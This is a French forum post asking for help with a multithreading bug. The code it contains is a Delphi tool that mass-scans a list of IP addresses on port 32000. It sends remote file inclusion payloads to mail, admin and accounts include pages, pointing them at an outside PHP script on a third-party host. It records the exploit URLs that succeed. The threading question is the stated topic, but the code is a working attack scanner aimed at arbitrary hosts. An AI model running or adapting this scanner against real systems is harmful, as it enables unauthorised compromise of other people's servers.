Voila, je code un petit testeur de vulnerabilité pour me mettre au threads (et oui, c'est mes premiers pas) mais j'ai un petit prob au niveau de mon multithread. J'ai deux for imbriqués, et j'aimerais que le plus "haut" attente la fin du dernier thread du plus "petit" pour repartir mais j'ai droit a cette jolie erreur:
Code : Sélectionner tout - Visualiser dans une fenêtre à part
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105 unit Unit1; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, XPMan, Erazerz, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP; type TForm1 = class(TForm) IdHTTP1: TIdHTTP; Edit1: TEdit; Check: TButton; Label1: TLabel; XPManifest1: TXPManifest; OD: TOpenDialog; Browse: TButton; Memo1: TMemo; Label2: TLabel; Label3: TLabel; ListBox1: TListBox; Label4: TLabel; procedure CheckClick(Sender: TObject); procedure BrowseClick(Sender: TObject); private { Private declarations } public { Public declarations } end; Const NbThreads = 50; var Form1: TForm1; Vuln: Bool; Xploit, IP: String; implementation Uses Unit2; {$R *.dfm} procedure TForm1.CheckClick(Sender: TObject); var i, j, k: integer; ScanArrayThread: Array[1..NbThreads] of TScan; begin vuln := false; xploit := ''; Label4.Caption := 'Checking...' ; k := 0; for i := 0 to (ListBox1.Items.Count - 1) div NbThreads do begin for j := 1 to NbThreads do begin if k <> ListBox1.Items.Count then begin IP := Listbox1.Items[k]; ScanArrayThread[j] := TScan.Create(false); inc(k); end; end; Repeat Application.ProcessMessages; until ScanArrayThread[NbThreads].ThreadTerminated; end; for i := 0 to (ListBox1.Items.Count - 1) mod NbThreads do begin for j := 1 to (ListBox1.Items.Count - 1) mod NbThreads do begin if k <> ListBox1.Items.Count then begin IP := Listbox1.Items[k]; ScanArrayThread[j] := TScan.Create(false); inc(k); end; end; Repeat Application.ProcessMessages; until ScanArrayThread[NbThreads].ThreadTerminated; end; Label4.Caption := 'Done' ; end; procedure TForm1.BrowseClick(Sender: TObject); var InputName, SInput: string; input, bytes: dword; i: integer; begin if OD.Execute then begin edit1.Text := OD.FileName; InputName := Edit1.Text; Input := CreateFile(pchar(InputName), GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); i := GetFileSize(InputName); SetLength(SInput, i); ReadFile(input, SInput[1], i, bytes, nil); while pos(chr(13), SInput) <> 0 do begin ListBox1.Items.Add(Trim(copy(SInput, 1, pos(chr(13), SInput)))); Delete(SInput, 1, pos(chr(13), SInput)); end; end; end; end.Si qq1 avait une idee d'ou ca peut venir, ca m'arragerait ...
Code : Sélectionner tout - Visualiser dans une fenêtre à part
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84 unit Unit2; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP; type TScan = class(TThread) private { Private declarations } procedure OnTerminateProcedure(Sender : TObject); protected procedure Execute; override; public ThreadTerminated: Bool; constructor Create(Suspended : Boolean); end; implementation Uses Unit1; { Important: Methods and properties of objects in visual components can only be used in a method called using Synchronize, for example, Synchronize(UpdateCaption); and UpdateCaption could look like, procedure TScan.UpdateCaption; begin Form1.Caption := 'Updated in a thread'; end; } { TScan } constructor TScan.Create(Suspended : Boolean); begin FreeOnTerminate := True; inherited create(Suspended); OnTerminate := OnTerminateProcedure; ThreadTerminated := False; end; procedure TScan.OnTerminateProcedure(Sender : TObject); begin ThreadTerminated := True end; procedure TScan.Execute; var HTTP: TIdHTTP; url, content: string; Begin HTTP := TIdHTTP.Create(nil); Try HTTP.Host := IP; HTTP.Port := 32000; HTTP.Connect(3000); if HTTP.Connected then begin vuln := false; url := 'http://' + IP + ':32000/mail/index.html?id=[current_id]&lang_settings[TEST]=test;http://182shaolin.free.fr/vulntest.php;'; Content := ''; Content := HTTP.Get(URL); If Content = 'VULNERABLE' then begin vuln := true; xploit := url; end; url := 'http://' + IP + ':32000/admin/inc/include.php?language=0&lang_settings[0][1]=http://182shaolin.free.fr/vulntest.php'; Content := ''; Content := HTTP.Get(URL); If Content = 'VULNERABLE' then begin vuln := true; xploit := url; end; url := 'http://' + IP + ':32000/accounts/inc/include.php?language=0&lang_settings[0][1]=http://182shaolin.free.fr/vulntest.php'; Content := ''; Content := HTTP.Get(URL); If Content = 'VULNERABLE' then begin vuln := true; xploit := url; end; if vuln = true then Form1.memo1.lines.Add(xploit); end; finally HTTP.Free; end; end; end.
Partager